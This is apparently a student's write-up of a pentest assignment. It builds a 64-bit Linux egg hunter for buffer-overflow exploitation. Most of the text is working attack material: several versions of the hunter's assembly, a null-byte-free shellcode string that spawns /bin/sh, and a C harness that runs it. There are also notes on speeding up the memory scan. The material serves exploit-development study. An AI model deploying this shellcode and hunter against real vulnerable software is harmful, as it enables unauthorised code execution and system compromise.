Egg Hunter Shell Code
Create a working demo of an Egg Hunter shellcode
Should be configurable with different payload
Repository: https://github.com/Farad77/pentestAssign3.git
EggHunter is a technique used in bufferoverflow attack when there’s not enough space to inject a shellcode.
Purpose is to inject a tiny piece of code that will then search through the memory for a « special egg ». The egg is a special tag
placed just before the shellcode acting like a beacon allowing the egghunter to proceed and launch the shellcode.
So we will need to make 3 things
Iterate through the memory
So to test what i could and couldn’t do i tried a simple loop from the current memory at the entrypoint
global _start
section .text
_start:
call getEgg
egg db "w00t" ;change your 4 bytes egg here
getEgg:
pop rsi
mov edi, dword [rsi]
mov rax,rsp
inc rax
looping:
dec rax
cmp [rax-4], rdi
jne looping
cmp [rax-8],rdi
jne looping
Problem with this code is that, whenever you hit a wrong portion of the memory it will crash, we don’t want that so we will have to find a way to properly scan the memory for our egg.
Looking online i found multiple implementation of egghunter, some for windows using NTDISPLAYSTRING for example, and for linux i found some clue and one seems apealing: using sigaction syscall.
But sigaction syscall wasnt here in 64bit call table there’s was a rt_sigaction but it didn’t work like i want it too.
So i tried the sys_access syscall: rsi to 0, rdi with an address (starting at 0), sys_acess will tell us if we can read memory at this adress, if we can’t al will be 0xf2 and we will change page and try another one.
Using getconf PAGE_SIZE we see that a page size is 4096, so we add 1000h to rdi to change page and go on with our loop.
global _start
section .text
getEgg:
pop rsi
mov ebx, [rsi]
xor rdi,rdi
dec rdi
xor rsi,rsi ;mode for sys_access
xor rdx,rdx
add dl,8
problem:
xor rax,rax
add rdx,0x1000 ;getconf PAGE_SIZE is 4096
mov rdi,rdx
looping:
inc rdi
xor rax,rax
mov al,21 ;sys_access
syscall
cmp al,0xf2
je problem
cmp dword [rdi-4],ebx
jne looping
;;found 1 part
cmp dword [rdi-8],ebx
jne looping
;;found 2 part jump to the shellcode behind the egg
add rdi,4
call rdi
Inside the loop we test rdi-4 and rdi-8 for the two egg tag and if it’s ok we call the shell code.
For our first POC i did a full asm one, embedding the shellcode in our assembly code.
The full code is at ( https://github.com/Farad77/pentestAssign3/blob/master/EggHunter_fullpoc.asm )
Now we have to remove Nul bytes, using objdump -M intel -d EggHunter.o

Our page increase is the only thing causing trouble here:
so instead of add rdx,0x100
we will use the xor rax,rax, put 0x10 in ah and adding rdx to rax
global _start
section .text
getEgg:
pop rsi
mov ebx, [rsi]
xor rdi,rdi
dec rdi
xor rsi,rsi ;mode for sys_access
xor rdx,rdx
add dl,8
problem:
xor rax,rax
mov ah,0x10
add rdx,rax ;getconf PAGE_SIZE is 4096 so 1000h, to remove null bytes we put 10 in dh, 00 is already in dl so edx=rdx=10 00h
mov rdi,rdx
looping:
inc rdi
xor rax,rax
mov al,21 ;sys_access
syscall
cmp al,0xf2
je problem
cmp dword [rdi-4],ebx
jne looping
cmp dword [rdi-8],ebx
jne looping
add rdi,4
call rdi
_start:
call getEgg
egg db "w00t" ;change your 4 bytes egg here
; shellcode db 0x77,0x30,0x30,0x74,0x77,0x30,0x30,0x74,0x31,0xc0,0x48,0xbb,0xd1,0x9d,0x96,0x91,0xd0,0x8c,0x97,0xff,0x48,0xf7,0xdb,0x53,0x54,0x5f,0x99,0x52,0x57,0x54,0x5e,0xb0,0x3b,0x0f,0x05
We will now test it in our C skeletton:
#include<stdio.h>
#include<string.h>
unsigned char egghunter[]=\
"\x5e\x8b\x1e\x48\x31\xff\x48\xff\xcf\x48\x31\xf6\x48\x31\xd2\x80\xc2\x08\x48\x31\xc0\xb4\x10\x48\x01\xc2\x48\x89\xd7\x48\xff\xc7\x48\x31\xc0\xb0\x15\x0f\x05\x3c\xf2\x74\xe7\x39\x5f\xfc\x75\xed\x39\x5f\xf8\x75\xe8\x48\x83\xc7\x04\xff\xd7\xe8\xc0\xff\xff\xff\x77\x30\x30\x74";
unsigned char code[] = \
"\x77\x30\x30\x74\x77\x30\x30\x74\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("Egghunter Length: %d\n", (int)strlen(egghunter));
printf("code Length: %d\n", (int)strlen(code:wq));
int (*ret)() = (int(*)())egghunter;
ret();
}
But after compiling and launching seems the app is hanging:

So let’s launch gdb and see what’s going on: gdb -q shellcode -tui

Our binary is runing in 0x0000555555554692 adressing, that’s a lot!We go from 0 adding 4096 for every step.
That’s 23Billions step to take to even get to our code, so without a good idea of where we could start instead of starting from 0 the egg hunting is gonna take long.
Let’s launch it and time code it for the fun, and in the mean time i will look for an alternative.
The need for speed
If we could start our egghunt near our execution code, research would be much faster.
For this i will use the sys_shmdt syscall , ou puts the adress of the next instruction in rcx, we will then null the lower portion of the register and use this as base for our research.
So it will search for the egg in the proximity of the execution, not as robust as our first implementation but most certainly quicker.
Full code is avaiable at: https://github.com/Farad77/pentestAssign3/blob/master/EggHunterfast.asm
xor rax,rax
push rax
add al,67 ;get current address
syscall
pop rax
mov cx,ax ;null lower part of memory to backtrack a little
mov rdx,rcx
Execution time is immediate, we get the shell so the hunt as been successful.
This implementation is not fail proof and could be work on, but it helped me validate the egg hunter using the c skeleton program.